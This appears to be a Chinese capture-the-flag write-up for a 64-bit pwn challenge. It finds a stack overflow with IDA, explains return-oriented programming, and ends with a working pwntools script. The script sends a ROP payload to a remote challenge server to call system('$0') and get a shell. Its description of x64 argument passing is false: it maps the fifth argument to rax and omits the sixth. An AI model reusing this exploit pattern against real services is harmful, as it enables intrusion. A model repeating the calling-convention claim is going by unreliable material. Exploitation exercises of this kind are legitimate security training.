0x01 二进制文件保护检查
64位程序,没有开启任何一项保护措施
0x02 IDA
用IDA打开,F5
反编译,main函数中存在栈溢出,s只分配了0x10字节,read读取0x30字节。
查看已知函数,没有可利用的。Shift+F12
查看是否有可疑字符串
双击可疑字符串,鼠标移到aOkYouFindMeBut
按x
跳转到调用函数
函数调用了system函数,但是传入参数不是我们想要的'/bin/bash'
0x03 ROP攻击
攻击者扫描已有的动态链接库和可执行文件,提取出可以利用的指令片段(gadget),这些指令片段均以ret指令结尾,即用ret指令实现指令片段执行流的衔接。 操作系统通过栈来进行函数的调用和返回。函数的调用和返回就是通过压栈和出栈来实现的。每个程序都会维护一个程序运行栈,栈为所有函数共享,每次函数调用,系统会分配一个栈桢给当前被调用函数,用于参数的传递、局部变量的维护、返回地址的填入等。 栈帧是程序运行栈的一部分 ,在Linux中 ,通过%esp和 %ebp寄存器维护栈顶指针和栈帧的起始地址 ,%eip是程序计数器寄存器 。 而ROP攻击则是利用以ret结尾的程序片段 ,操作这些栈相关寄存器,控制程序的流程,执行相应的gadget,实施攻击者预设目标 。ROP不同于retum-to-libc攻击之处在于,R0P攻击以ret指令结尾的函数代码片段 ,而不是整个函数本身去完成预定的操作。
所以这里我们可以构造ROP攻击,但是前提是我们能找到/bin/bash
字符串,但是这道题有点坑的地方在于没有/bin/bash
字符串,只有$0
,$0
在linux中为shell或shell脚本的名称,在这里可以替代/bin/bash
除此之外还需要注意一点x64程序调用传参的方式,我们已经知道x86程序传参都是通过压栈实现,x64有些许不同,会借用寄存器传参。
如果是x64程序,参数个数少于7个时:
fun(a,b,c,d,e,f) ==> a—>%rdi, b—>%rsi, c—>%rdx, d—>%rcx, e—>%rax
参数大于7个时,按x86方式,多余的参数通过栈传递
所以我们传入参数方式通过rdi
寄存器, 所以我们需要将$0
传入rdi
寄存器
我们使用ROPgadget工具,查找所需的代码片段的地址:
ROPgadget --binary pwn4 --only 'pop|ret'
ROPgadget --binary pwn4 --string '\$0'
而system()函数地址我们可以通过IDA直接查看
0x04 构造exp
0x10
个字节覆盖变量s
,8
个字节rbp
,pop rdi;ret
地址0x4007d3
,$0
地址0x60111f
,system
地址0x40075a
from pwn import *
os = remote('114.116.54.89','10004')
#os = process('./pwn4')
payload = 'a'*(0x10+8)+p64(0x4007d3)+p64(0x60111f)+p64(0x40075a)
os.recv()
os.sendline(payload)
os.interactive()